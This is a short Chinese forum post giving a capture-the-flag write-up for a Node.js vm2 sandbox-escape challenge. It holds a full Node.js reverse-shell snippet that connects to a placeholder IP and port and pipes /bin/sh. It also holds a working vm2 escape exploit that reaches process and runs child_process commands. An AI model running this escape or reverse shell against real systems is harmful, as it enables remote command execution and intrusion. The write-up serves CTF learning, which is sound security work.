roger 发表于 2020-4-21 17:37:34

hackim_2019_web_escape


可以看到是关于Node.JS沙箱逃逸的。
可以先查看目标模块的信息:
/run?js=Error().stack
可以看出题目设置的模块vm2。所以可能下面这个反弹shell的模块不适用:
(function () {
    var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(your_port, "your_ip", function () {
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();赛后看源码可以看出这里过滤了while和for。
可以去看github上的vm2模块的issue,里面也有很多提交的escape的exp,找一个使用:
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
      getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
      }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()
cat iamnotwhatyouthink就可以得到flag。
页: [1]
查看完整版本: hackim_2019_web_escape